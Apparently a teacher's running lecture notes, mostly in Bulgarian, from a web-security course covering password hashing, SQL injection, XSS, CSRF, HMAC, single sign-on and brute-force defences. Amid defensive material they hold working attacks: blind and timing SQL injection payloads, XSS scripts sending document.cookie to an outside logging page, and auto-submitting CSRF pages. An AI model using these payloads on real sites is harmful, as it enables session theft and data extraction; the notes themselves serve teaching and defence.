index.php -> login.php -> securearea.php
                       -> index.php
					   
					   
					   
CREATE DATABASE osup2020
CHARACTER SET="utf8";

USE osup2020;

CREATE TABLE users(
	id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	user VARCHAR(32) NOT NULL UNIQUE,
	pass VARCHAR(32) NOT NULL
);

INSERT INTO users(user, pass) VALUES
("ivan", "password"),
("petar", "12345"),
("maria", "12345");

GRANT SELECT
ON osup2020.users
TO loginform@localhost
IDENTIFIED BY "HFDERHGUSDFgfd";

Криптиране? - не става

Хеширане - необратимо преобразуване на информация

f(x) = 2x

f(1) = 2
f(2) = 4

f(x) = x%10

f(10) = 0
f(11) = 1
...

5 -> 5? 15? 255? 45324324532564325635?

DROP TABLE users;

CREATE TABLE users(
	id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	user VARCHAR(32) NOT NULL UNIQUE,
	pass BINARY(32) NOT NULL
);

INSERT INTO users(user, pass) VALUES
("ivan", UNHEX(SHA2("password",256))),
("petar", UNHEX(SHA2("12345",256))),
("maria", UNHEX(SHA2("12345",256)));

-----------
pass | hash
-----------
p1   | h1
p2   | h2
..
pn   | hn


Rainbow table
-----------
pass | hash
-----------
p11  | h1n
p21  | h2n
..
pk1  | hkn

H - хешираща функция, която атакуваме
Ri - функции, която пренасят от множеството на хешовете към множеството на атакуваните пароли

p11 -H-> h11 -R1-> p12 -H-> h12 -R2-> p13 -H-> h13 -> ... -H-> h1n-1 -Rn-> p1n -H-> h1n
p21 -H-> h21 -R1-> p22 -H-> h22 -R2-> p23 -H-> h23 -> ... -H-> h2n-1 -Rn-> p2n -H-> h2n
...
pk1 -H-> hk1 -R1-> pk2 -H-> hk2 -R2-> pk3 -H-> hk3 -> ... -H-> hkn-1 -Rn-> pkn -H-> hkn


hx -R-> px1 -H-> hx1 -R-> px2 -H-> hx2 -R-> ... -H->... (до n пъти).

time-memory tradeoff


Криптографска хеш функция

1. Детерминистичен алгоритъм!
2. Еднакво бърза независимо от дължината на входните данни
3. Необратима (защото е хеш функция!)
4. Малка промяна във входните данни трябва да дава НЕПРЕДВИДИМИ разлики в хешовете
5. С максимално голяма ентропия

Колизии
p1 -> h
p2 -> h

admin, "опаягкfdsfhdsi$^#&*$^#&*fgjgfd"

Колко са колизиите? Отговор: безкрайно много

f(...) -> h

6. Нямат колизии при къси входни данни


Dictionary Attack

PEPPER - OBSCURITY - да не се използва като основна защита. Само като нещо допълнително.

TRUNCATE TABLE users;

INSERT INTO users(user, pass) VALUES
("ivan", UNHEX(SHA2("passwordhvgfHFDIUfds",256))),
("petar", UNHEX(SHA2("12345hvgfHFDIUfds",256))),
("maria", UNHEX(SHA2("12345hvgfHFDIUfds",256)));


SALT - напълно елеминира rainbow tables (SECURITY)

DROP TABLE users;

CREATE TABLE users(
	id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	user VARCHAR(32) NOT NULL UNIQUE,
	pass BINARY(32) NOT NULL,
	salt BINARY(16) NOT NULL
);

INSERT INTO users(user, salt, pass) VALUES
("ivan", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT(SHA2("passwordhvgfHFDIUfds",256), salt),256))
),
("petar", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT(SHA2("12345hvgfHFDIUfds",256), salt),256))
),
("maria", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT(SHA2("12345hvgfHFDIUfds",256), salt),256))
);


Brute Force атаки

Проблемът тук е, че криптографските хеш функции са... бързи.

KEY STRETCHING - забавяне на хеширане

PBKDF2

TRUNCATE TABLE users;

INSERT INTO users(user, salt, pass) VALUES
("ivan", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT("aca3eeb82601589f775d4699330131ea13b056214a906d5faaf6b083d3487ae9", salt),256))
),
("petar", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT("e6850a40c0f56cd7a3b35fb153e1e75e3928b80f4a7cd2e23079508a271f7810", salt),256))
),
("maria", 
 UNHEX(MD5(RAND())),
 UNHEX(SHA2(CONCAT("5fc2085edbdee5f8017e66de51e290ed97137bb7c494edff45d0162fac6c500b", salt),256))
);

Brypt

SquirrelMail

PEPPER = "gdfgfdhghdsghdfsjgfsd..."
$pass = "password3421432";

$pass = PEPPER.$pass;

gdfgfdhghdsghdfsjgfsd...password3421432



Scrypt -> не само забавя процесора, но и отнема повече памет

Argon2i
Argon2d
Argon2id


CHAR
COLLATION

..
 o  o

-------------------
20.04.2020 г.
-------------------

SQL INJECTION

1. Премахваме символи, които могат да направят проблем - филтриране с blacklist
2. Да НЕ допускаме различни от валидни символи         - филтриране с whitelist

Кое е по-добро?

3. SQL Injection да стане перманентно невъзможен - параметризирани SQL заявки

- Компилиране на заявката
PREPARE stmt FROM 'SELECT 1 WHERE 1=?';

- Изпълнение на заявката
SET @var = 1 OR 2=3;
EXECUTE stmt USING @var;

int func(int x, int .. arr){

}

func(2,3,4);


1. Няма филтриране - има проблем
2. Филтриране с blacklist
3. Филтриране с whitelist
4. Параметризирани заявки
5. Филтриране с blacklist + Параметризирани заявки
6. Филтриране с whitelist + Параметризирани заявки



------

CSS Grid

CREATE TABLE articles(
	id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	title VARCHAR(20) NOT NULL,
	content TEXT NOT NULL
);

INSERT INTO articles(title, content) VALUES
("Article 1", "Content of ARTICLE 1"),
("Article 2", "This is article 2");

GRANT ALL
ON osup2020.*
TO mainuser@localhost
IDENTIFIED BY "gfdagfda";


http://localhost/articles.php?id=2

http://localhost/articles.php?id=2 AND 1=1

http://localhost/articles.php?id=2 AND 1=2


http://localhost/articles.php?id=2 AND SUBSTRING(VERSION(),1,1)=5

http://localhost/articles.php?id=2 AND SUBSTRING(VERSION(),3,1)=CHAR(46)

10.4.11-MariaDB

CREATE VIEW mydb.myview AS SELECT...


SELECT * FROM myview;




SELECT DISTINCT table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 0,1


http://localhost/articles.php?id=2 AND ASCII((SELECT SUBSTRING((SELECT DISTINCT table_name FROM information_schema.columns ORDER BY BINARY(table_name) DESC LIMIT 0,1) ,1,1)))>90 


users


ASCII(SELECT SUBSTRING((SELECT column_name
FROM information_schema.columns
WHERE table_name = (
	SELECT DISTINCT table_name
	FROM information_schema.columns
	ORDER BY BINARY(table_name) DESC
	LIMIT 0,1
) LIMIT 1,1),1,1))<...


http://localhost/articles.php?id=2 AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 3,1),1,1))>90

ivan

Blind SQL Injection

CREATE TABLE feedback(
	id BIGINT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
	article_id BIGINT UNSIGNED NOT NULL,
	FOREIGN KEY(article_id) REFERENCES articles(id),
	content VARCHAR(255) NOT NULL,
	name VARCHAR(255) NOT NULL
);

Metasploit



SELECT BENCHMARK(500000, MD5(RAND()))

Timing attack


$sql = "INSERT INTO feedback(article_id, content, name)
		VALUES(".$article_id.", 'test', (SELECT BENCHMARK(500000, MD5(RAND()))))#', '".$_POST['name']."')";

PAYLOAD (content): test', (SELECT BENCHMARK(500000, MD5(RAND()))))#

PAYLOAD (content): test', (SELECT IF(VERSION()="10.4.11-MariaDB",IF(BENCHMARK(500000, MD5(RAND()))=0,NULL,NULL),NULL)))#

------- 27.04.2020 ---------


site.com/forum/
site.com/chat/
...

forum.site.com/
chat.site.com/

HTTPS

Какво правим ако хакер открадне cookie от клиента?

Произволно генериран 
token

CREATE TABLE user_tokens(
	uid BIGINT UNSIGNED NOT NULL,
	FOREIGN KEY(uid) REFERENCES users(id),
	perm_token BINARY(32) NOT NULL,
	var_token BINARY(32) NOT NULL
);

GRANT SELECT, INSERT, UPDATE
ON osup2020.user_tokens
TO loginform@localhost;

pt
vt

case1: pt и vt са валидни => вход

case2: pt e валиден, но vt не е валиден => блокиране на акаунт

case3: и двата са невалидни => index.php

SELECT user_tokens.uid AS uid, users.user AS user, LCASE(HEX(user_tokens.var_token)) AS var_token 
FROM user_tokens JOIN users ON users.id = user_tokens.uid WHERE user_tokens.perm_token = UNHEX('32f3d23e68d1145fc4833d7eb6e1168487a960a4f79e60db3c8c744c417b1d03'

UPDATE user_tokens 
SET var_token = UNHEX('ba55c31e16c6e9451cb216bd024d80ea779e3e3c4d205b8e826526d14c1bda11') 
WHERE uid = 1 AND perm_token = UNHEX('perm_token')


SALT и хеширане С KEY STRETCHING за вмъкнатите в базата от данни tokens



Домашна работа 1:

ALTER TABLE user_tokens
ADD CONSTRAINT PRIMARY KEY(perm_token);

$result = @mysqli_query($link, $sql);
if($result && @mysqli_affected_rows($link)==1){
	$ivlen = openssl_cipher_iv_length(COOKIE_CIPHER);
	$iv = openssl_random_pseudo_bytes($ivlen);

	setcookie("perm_token", openssl_encrypt($perm_token, COOKIE_CIPHER, AES_KEY, 0, $iv), time()+3600, "/", null, false, true);
	setcookie("var_token", openssl_encrypt($var_token, COOKIE_CIPHER, AES_KEY, 0, $iv), time()+3600, "/", null, false, true);
	setcookie("aesiv", $iv, time()+3600, "/", null, false, true);
}

Домашна работа 2:

TRUNCATE TABLE user_tokens;

ALTER TABLE user_tokens
MODIFY var_token CHAR(97) NOT NULL;

Хешираме с Argon2id var_token при INSERT:

$sql = "INSERT INTO user_tokens(uid, perm_token, var_token)
		VALUES(".$result_id.", UNHEX('".$perm_token."'), 
				'".password_hash($var_token, PASSWORD_ARGON2ID, ['memory_cost' => 3907, 'time_cost' => 50, 'threads' => 1])."')";
						

		$sql = "SELECT user_tokens.uid AS uid, users.user AS user, user_tokens.var_token AS var_token
				FROM user_tokens JOIN users ON users.id = user_tokens.uid
				WHERE user_tokens.perm_token = UNHEX('".@mysqli_real_escape_string($link, $perm_token)."')";
				
		if(!password_verify($var_token, $row['var_token'])){
			echo 'Акаунтът ви потенциално е бил хакнат. Обадете се на support!';
			exit;
		}
		
		$sql = "UPDATE user_tokens
				SET var_token = '".password_hash($new_var_token, PASSWORD_ARGON2ID, ['memory_cost' => 3907, 'time_cost' => 50, 'threads' => 1])."'
				WHERE uid = ".$row['uid']."
						AND
					  perm_token = UNHEX('".@mysqli_real_escape_string($link, $perm_token)."')";
		$result = @mysqli_query($link, $sql);
		if($result && @mysqli_affected_rows($link)==1){
			setcookie("var_token", openssl_encrypt($new_var_token, COOKIE_CIPHER, AES_KEY, 0, $_COOKIE['aesiv']), time()+3600, "/", null, false, true);
		}
		
		
--------------------- 04.05.2020 г. ---------------------

Cross Site Scripting

chat.php -> chat_post_message.php -> chat.php


CREATE TABLE chatmessages(
	uid BIGINT UNSIGNED NOT NULL,
	FOREIGN KEY (uid) REFERENCES users(id),
	message VARCHAR(255) NOT NULL,
	dt DATETIME NOT NULL DEFAULT NOW()
);


1. Статична XSS атака

x.php
<?php
        $file = fopen("x.txt", "a");
        foreach($_REQUEST as $var) fwrite($file, $var."\n");
?>

https://www.cphpvb.net/x.php

SAME ORIGIN POLICY

Здрасти<script>window.location.replace("https://www.cphpvb.net/x.php?c="+document.cookie);</script>


plain JS

Здрасти<script>var xhr = new XMLHttpRequest();xhr.open("POST", "https://www.cphpvb.net/x.php", true);xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded");xhr.send(document.cookie);</script>

<script src="http://bit.ly/bgfhghgf"></script>


htmlentities

Трислоен модел

Sources and sinks

!!! Винаги се филтрира непосредствено там, където се използва !!!

https://validator.w3.org/

OWASP Top 10

BBCode - Bulletin Board Code

hgfdhgfd [b]hgfdh [i]tgdftgrd[/b]  h<script>alert(1)</script>dgf dfh[/i] 

а. Филтрира всичко с htmlentities
б. Търси валидни [b], [i], [img]... и ги заменя с техните html еквиваленти
в. Изобразява

hgfdhgfd <b>hgfdh </b>  h&lt;script&gt;alert(1)&lt;/script&gt;dgf <i>dfh</i>

tete [b]test[/b] tete
tete <b>test</b> tete


HTML filters - htmLawed

Не разчитайте на филтрирането на редактори като TinyMCE, CKEditor и др.




2. Reflective (отразен, динамичен)

q=test



http://localhost/search.php?search=test<script>alert(1)</script>


http://www.bgbook.bg/

http://www.bgbook.bg/search.php


<form action="search.php" method="POST"></form>








<br /><b>Notice</b>:  Undefined index: search in <b>E:\xampp\htdocs\includes\header.php</b> on line <b>22</b><br />




<?=$_GET['search']??""?>

<?=isset($_GET['search'])?$_GET['search']:""?>


<?php
if(isset($_GET['search'])){
	echo $_GET['search'];
}
else{
	echo "";
}


<img src='https://insidebitcoins.com/wp-content/uploads/2020/01/Over-11-billion-has-been-Hacked-from-Crypto-Exchanges-New-Timeline-Reveals-1024x566.jpg' />

PAYLOAD: test" /><script>alert(1)</script>

<input type="text" name="search" value="test" /><script>alert(1)</script>" />


http://ucdp-smolian.com/oldsite/


PAYLOAD: test" /><img src='https://insidebitcoins.com/wp-content/uploads/2020/01/Over-11-billion-has-been-Hacked-from-Crypto-Exchanges-New-Timeline-Reveals-1024x566.jpg' />
<input type="text" name="Search" id="search-text" value="test" /><script>alert(1)</script>">


Важен е контекстът, в който се вмъква PAYLOAD


echo ...


Какъв е source и опасен ли е?
Как да го филтрирам - в какъв контекст е изобразяването?





test' onmouseover=alert(1) '

<input type="text" name="test' onmouseover=alert(1) '' />

------- 11.05.2020 ------

echo $_GET['search']??""

echo isset($_GET['search'])?$_GET['search']:""

if(isset($_GET['search'])){
	echo $_GET['search'];
}
else{
	echo "";
}


&quot;

test' onmouseover=alert(1) '

Sources, Sinks


UTF7

DOM XSS

http://localhost/profile.php?user=ivan<img+src+onerror=alert(1)>



http://localhost/profile.php?user=ivan#<script>alert(1)</script>







GET ... http://localhost/profile.php?user=ivan

https://milena.cphpvb.net/lyricscontents.html#P


eval("user=profiles["+index+"]");

SyntaxError: unterminated regular expression literal
eval("user=profiles[1<script>alert(1)</script>]");

PAYLOAD: alert(1)


eval("user=profiles[alert(1)]");


LOCATION SINK

localhost/redir.php?page=chat.php
localhost/redir.php?page=http://www.google.com

localhost/redir.php?page=javascript:alert(1)



CROSS SITE REQUEST FORGERY

http://sdkwebs.com/test.html

<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<form action="http://localhost/chat_post_message.php" method="POST">
<input type="hidden" name="message" value="I was HACKED" />
<input type="submit" name="btnSubmit" value="Виж още клипове" />
</form>
</body>
</html>



http://sdkwebs.com/test2.html

<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<form action="http://localhost/chat_post_message.php" method="POST">
<input type="hidden" name="message" value="I was HACKED" />
<input id="btnSubmit" type="submit" name="btnSubmit" value="Виж още клипове" />
</form>
<script>
	document.getElementById('btnSubmit').click();
</script>
</body>
</html>



http://sdkwebs.com/test3.html

<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<script>
	function crossDomainPost(){
		var iframe = document.createElement("iframe");
		var uniqueString = "uniqueFrameNameBlahblah";
		document.body.appendChild(iframe);
		iframe.style.display = "none";
		iframe.contentWindow.name = uniqueString;
		
		var form = document.createElement("form");
		form.target = uniqueString;
		form.action = "http://localhost/chat_post_message.php";
		form.method = "POST";
		
		var input = document.createElement("input");
		input.type = "hidden";
		input.name = "message";
		input.value = "I WAS HACKED AGAIN";
		form.appendChild(input);
		
		document.body.appendChild(form);
		form.submit();
	}
	window.onload = crossDomainPost;
</script>
</body>
</html>




test4.html
https://zamunda.net/logout.php

<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<img src="https://zamunda.net/logout.php" alt="no image" />

</body>
</html>



https://webstersprodigy.net/2013/02/01/stripping-the-referer-in-a-cross-domain-post-request/


https://webstersprodigy.net


https://bugzilla.mozilla.org/show_bug.cgi?id=1424076




2Q0LwKMHrQKYaJLm
2Q0LwKMHrQKYaJLm

TLS BREACH
gzip


"test test test blah blah test "
RLE
test :ablah :b
aaabba

http://localhost/search.php?search=c




test5.html


<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<img src="https://localhost/logout.php" alt="no image" />

</body>
</html>



http://localhost/logout.php?xsrftoken=2b787c2f6e436578c10be31619ee446e




CORS

samesite

setcookie("name", "value", 'expires' => time()+3600, '/', "false",...);

setcookie("name", "value", 
	[
		'expires' => time()+3600,
		'path' => '/',
		'secure' => "false",
		'samesite' => 'Lax'
	]
);

SameSite може да бъде:
none
lax    - браузърът НЕ изпраща никакви cookies при заявки от чужди origins само за POST и още няколко други начина (напр. с JS), но ги позволява с GET
strict - браузърът НЕ изпраща никакви cookies при заявки от чужди origins



test6.html

<!DOCTYPE HTML>
<html lang="bg-BG">
<head>
<meta charset="utf-8" />
</head>
<body>
<iframe width="560" height="315" src="https://www.youtube.com/embed/i0aNETdn6sw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

<form action="http://localhost/search.php" method="GET">
<input type="hidden" name="search" value="I was HACKED" />
<input type="submit" name="btnSubmit" value="Виж още клипове" />
</form>
</body>
</html>





PHPSESSID=e3ovjlur42rgq72qdqdp…ieed; path=/; SameSite=Strict

https://www.facebook.com/philip.petrov.petrov/posts/2694695374140797



session_set_cookie_params(
	[
		'expires' => time()+3600,
		'path' => '/',
		'secure' => "true",
		'samesite' => 'Lax'
	]
);


session_start();

------- 18.05.2020 -------

session_set_cookie_params(["samesite" => "Lax"]);
session_start();




xsrftoken - перманентен, т.е. не се сменя.

xsrftoken_dynamic - сменя се на всеки request

http://localhost/logout.php?
dt=baf6fd60486c5c312d87c6097f81c773eb03c20435036b1b82edf5dfef78a45f
&
mt=244fe100f79c2475497e6962375e3554eac484ddca506cd6f06ab4e459547d40


HMAC

Да се проверява интегритет и автентичност на съобщение.

Интегритет?

compA -msg, hash(msg)-> compB


bit flipping



Автентичност?

MAC - message authentication code


hacker(твърди, че е compA) -othermessage, hash(msg)-> compB

key                        key
compA ----$msg, $mac---> compB


1. $mac = hash("sha256", $key . $msg);

Всички хеш алгоритми по схемата на Merkle-Damgard са уязвими от hash length extension атаки.

<KEY>abcd

hash(<key>) - h0
h0+a - h1
h1+b - h2
h2+c - h3
h3+d - h4

hash(<KEY>+'abcd') = h4;

'abcd', h4

h4+x - h5

'abcdx', h5

hash(<KEY>+'abcdx') - h5 - получава валиден MAC

2. $mac = hash("sha256", $msg . $key);

'abcd'.<KEY>

hash('ab') = hash('FdjskghfdsiXXX') - намерил е колизия

hash('abcd'.<KEY>) = hash('FdjskghfdsiXXXcd'.<KEY>) => mac е идентичен


3.$mac = hash("sha256", $key. $msg . $key);

Има теоретични уязвимости
https://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.134.8430

4. nmac = hash("sha256", $key1 . hash("sha256", $key2 . $msg));

5. 
$opad  = hex2bin("5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c");
$ipad = hex2bin("3636363636363636363636363636363636363636363636363636363636363636");
$hmac = hash("sha256", $key^$opad . hash("sha256", $key^$ipad . $msg));
                         $key1                       $key2

За $key важат следните правила:
А. Ако е точно 32 байта, се използва такъв какъвто е
Б. Ако е по-голям от 32 байта, $key = hash('sha256', $key);
В. Ако е по-къс от 32 байта, се добавя някакъв padding (???) и се хешира (???)

A  B  AxorB
1  1    0
1  0    1
0  1    1
0  0    0

$hmac = hash_hmac("sha256", $msg, $key);



---------------

SINGLE SIGN ON

Идеята е да се логнем на едно място (един домейн) и от там насетне да можем да влизаме и в други


Задача: искам да се логна в localhost и да изпратя някакво съобщение към cphpvb.net, което да бъде прието само ако съм бил логнат успешно

https://www.cphpvb.net/x.php?
user=ivan&
sign=bd534554db26d2ef9200ee676731f7a7e1a10c35c2f9f6b9de59f585157c9df6




x.php

<?php
        DEFINE("SITE_A_SHARED_KEY", "UIrewGOKjgdfkgjfdksjgfokishgrftyr4e$23");
        if(!isset($_REQUEST['user']) || !isset($_REQUEST['sign'])){
                echo 'Please go and login to SiteA';
                exit;
        }

        if($_REQUEST['sign'] !== hash_hmac("sha256", $_REQUEST['user'], SITE_A_SHARED_KEY)){
                echo 'Invalid auth data';
                exit;
        }

        echo 'HELLO '.$_REQUEST['user'];
?>

https://www.cphpvb.net/x.php?user=ivan&sign=bd534554db26d2ef9200ee676731f7a7e1a10c35c2f9f6b9de59f585157c9df6



2. Максимален живот на автентикационния низ


https://www.cphpvb.net/x.php?user=...&sign=...


Проблем 1. Синхронизация на часовниците
Проблем 2. Латентността на мрежата


<?php
        DEFINE("SITE_A_SHARED_KEY", "UIrewGOKjgdfkgjfdksjgfokishgrftyr4e$23");
        if(!isset($_REQUEST['user']) || !isset($_REQUEST['sign'])){
                echo 'Please go and login to SiteA';
                exit;
        }

		$time_key = 5*ceil(time()/5);
		$calculated_sign = hash_hmac("sha256", hash_hmac("sha256", $_REQUEST['user'], SITE_A_SHARED_KEY), $time_key);

        if($_REQUEST['sign'] !== $calculated_sign){
                echo 'Invalid auth data';
                exit;
        }

        echo 'HELLO '.$_REQUEST['user'];
?>


http://localhost/redir_to_B.php?user=ivan&sign=bd534554db26d2ef9200ee676731f7a7e1a10c35c2f9f6b9de59f585157c9df6



Проверката в x.php с timestamp:

<?php
        DEFINE("SITE_A_SHARED_KEY", "UIrewGOKjgdfkgjfdksjgfokishgrftyr4e$23");
        if(!isset($_REQUEST['user']) || !isset($_REQUEST['sign']) || !isset($_REQUEST['nonce'])){
                echo 'Please go and login to SiteA';
                exit;
        }

        $time_key = 5*ceil(time()/5);
		$time_key2 = 5*ceil(time()/5)+5;
        $calculated_sign = hash_hmac("sha256", hash_hmac("sha256", $_REQUEST['user'], SITE_A_SHARED_KEY), $time_key.$_REQUEST['nonce']);

        if($_REQUEST['sign'] !== $calculated_sign){
                echo 'Invalid auth data';
                exit;
        }
		

		
        echo 'HELLO '.$_REQUEST['user'];
		
		// Трябва някъде да съхраняваме вече използвани nonce и да НЕ се позволява тяхното повторно използване
		// напр. UNIQUE или PK в база от данни	
		// ... правим някакви промени
?>




Проблем 2. Replay атаки - една и съща заявка да се изпрати два пъти и съответно да се изпълни от другата страна също два пъти

TLS - решава и този проблем в смисъл, че хакера, който подслушва трафика, не може да вземе една и съща подслушана (ясно, че криптирана) заявка и да я изпрати два пъти

http://localhost/redir_to_B.php?user=ivan&sign=bd534554db26d2ef9200ee676731f7a7e1a10c35c2f9f6b9de59f585157c9df6
http://localhost/redir_to_B.php?user=ivan&sign=bd534554db26d2ef9200ee676731f7a7e1a10c35c2f9f6b9de59f585157c9df6


Решение 1. Nonce - Number used ONCE

Решение 2. Idempotent data - повтаряеми данни

Трябва да се стараем заявките, които обработват информацията да работят върху данни, които са проектирани по такъв начин, че колкото и пъти да се направят съответните промени, това да се отразява само веднъж върху крайния резултат.

----------------
| page | vists |
----------------
| A    | 203   |
| B    | 52    |
----------------

----------------
| page | IP    |
----------------
...

IP_X

IP_X

Трансакция

0. START TRANSACTION
1. Заключи брояча на статия А
2. Проверка дали IP_X има запис в таблицата с IP-та за статия A и ако няма отиди на 2. Ако има - 4.
3. Увеличи брояча за статия A и да добави IP_X в другата таблица, и отиди на 4
4. COMMIT



UPSERT (INSERT ... ON DUPLICATE KEY UPDATE...)
---------------------------
| page | vists            |
---------------------------
| A    | [IP1, IP2, IPX]  |
| B    | [IPX, IPY]       |
---------------------------
         IP е ключ на вътрешната таблица
----------- 25.05.2020 ----------------

Brute force / Flood

Captcha

OCR - optical character recognition


DoS
Slowloris

Зад 1. Да блокираме достъпа на IP при повече от X неуспешни опита

CREATE TABLE login_logs_hash(
	ip VARBINARY(16) NOT NULL,
	PRIMARY KEY(ip) USING HASH,
	attempts INT UNSIGNED NOT NULL DEFAULT 1
)ENGINE=MEMORY;

GRANT INSERT, SELECT, UPDATE
ON osup2020.login_logs_hash
TO loginform@localhost;


За нулиране на брояча

GRANT DELETE
ON osup2020.login_logs_hash
TO loginform@localhost;


		$sql = "INSERT INTO login_logs_hash(ip)
				VALUES(INET6_ATON('".$_SERVER['REMOTE_ADDR']."'))
				ON DUPLICATE KEY UPDATE attempts = attempts+1";

зад 2. Бот от един IP адрес атакува определен акаунт. Искаме да блокираме IP адреса само за този акаунт!

CREATE TABLE login_logs(
	ip VARBINARY(16) NOT NULL,
	uid BIGINT UNSIGNED NOT NULL,
	FOREIGN KEY(uid) REFERENCES users(id),
	PRIMARY KEY(uid, ip) USING HASH,
	attempts INT UNSIGNED NOT NULL DEFAULT 1	
)ENGINE=MEMORY;


GRANT INSERT, SELECT, UPDATE, DELETE
ON osup2020.login_logs
TO loginform@localhost;




SELECT 1 AS blocked 
FROM login_logs 
WHERE ip = INET6_ATON('127.0.0.1') 
		AND attempts > 3 
		AND uid = ( SELECT id FROM users WHERE user='maria' ) 

Проверете как MariaDB прави secure passwordless authentication


Зад 3. Към задача 2 да добавим временно блокиране

ALTER TABLE login_logs ADD COLUMN last_attempt DATETIME  NOT NULL DEFAULT NOW();


Зад 4. Имаме милиони потребители. Един IP адрес се опитва да се логне в хиляди различни акаунти. Как да го блокираме? Т.е. Комбинация от зад1 и зад2-3.

Зад 5. Много ботове го атакуват който и да е акаунт. Искаме да блокираме достъпа до акаунта
		от всеки, който е правил НЯКОГА повече от 2 неуспешни опита ако общо за акаунта са правени повече от 2000. throttling


----

$_SERVER['REMOTE_ADDR'];


$ip = 	$_SERVER['HTTP_CLIENT_IP']??
		$_SERVER['HTTP_X_REAL_IP']??
		$_SERVER['HTTP_X_FORWARDED_FOR']??
		$_SERVER['HTTP_X_FORWARDED']??
		$_SERVER['HTTP_FORWARDED_FOR']??
		$_SERVER['HTTP_FORWARDED']??
		$_SERVER['REMOTE_ADDR'];


client -> proxy1 -> proxy2 -> destination

HTTP_X_FORWARDED_FOR = client_ip, proxy1_ip


"66.66.23.21, 32.32.11.22" ==>  ["66.66.23.21", " 32.32.11.22"] => ["66.66.23.21", "32.32.11.22"]

$ip =array_map("trim", explode(",",
		$_SERVER['HTTP_CLIENT_IP']??
		$_SERVER['HTTP_X_REAL_IP']??
		$_SERVER['HTTP_X_FORWARDED_FOR']??
		$_SERVER['HTTP_X_FORWARDED']??
		$_SERVER['HTTP_FORWARDED_FOR']??
		$_SERVER['HTTP_FORWARDED']??
		$_SERVER['REMOTE_ADDR'];
	 ))[0];

ВАЖНО: Всички хедъри, които започват с HTTP_* са подадени от клиента. Може дори да не са IP адреси


$ip = filter_var($ip, FILTER_VALIDATE_IP);
$ip = $ip!=""?$ip:"0.0.0.0";

Никога не може с подобен израз да гарантирате, че това е истинския IP адрес на клиента. Може да бъде подадено всичко.

Затова използвайте ги само и единствено за статистически цели. Или ако сте в trusted environment.

---------- 01.06.2020 --------------

Honeypot - за защита от стандартни автоматизирани атаки


За спиране на табулации

<form action="articles.php?id=<?=$article_id?>" method="POST">
	<input id="name" type="text" name="name" placeholder="Име *" tabindex=1 /><br />
	<input id="content" type="text" name="content" placeholder="Текст *" tabindex=2 /><br />
	<input id="email" type="text" name="email" placeholder="Е-поща" tabindex=-1 />
	<input type="submit" name="submit" value="Дайте отзив" tabindex=3 /><br />
	Полетата със * са задължителни
</form>
<script>document.getElementById("email").setAttribute("disabled", "disabled");</script>



<form action="articles.php?id=<?=$article_id?>" method="POST">
	<input id="name" type="text" name="name" placeholder="Име *" /><br />
	<input id="content" type="text" name="content" placeholder="Текст *"  onkeydown="return stopTab(event);" /><br />
	<input id="email" type="text" name="email" placeholder="Е-поща" />
	<input type="submit" name="submit" value="Дайте отзив" /><br />
	Полетата със * са задължителни
</form>
<script>
function stopTab(e){
	var evt = e || window.event;
	if(evt.keyCode === 9){
		return false;
	}
}
</script>



Cross Site Script Inclusion (XSSI)

Динамично генерирани javascript

.htaccess
AddType application/x-httpd-php .js


<script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script>


(555) 666-7777

Хак 1

<?php
	session_start();
	session_regenerate_id(true);
	if(!isset($_SESSION['user'])){
		header("Location: index.php");
		exit;
	}
	
	header('Content-Type: application/javascript');
	
	echo '
			window.onload = function(){
				user = "'.$_SESSION['user'].'";
				document.getElementsByTagName("h1")[0].innerHTML = "HOLA "+user;
			}
		 ';
?>

x.php

<html>
<head>
</head>
<body>
Hello
<script src="http://localhost./dynamic_js/test.js"></script>
<script>
        window.onload = function(){
                document.write(user);
        }
</script>
</body>
</html>


Хак 2

<?php
	session_start();
	session_regenerate_id(true);
	if(!isset($_SESSION['user'])){
		header("Location: index.php");
		exit;
	}
	
	header('Content-Type: application/javascript');
	
	echo '
			window.onload = init();
			function init(){
				user = "'.$_SESSION['user'].'";
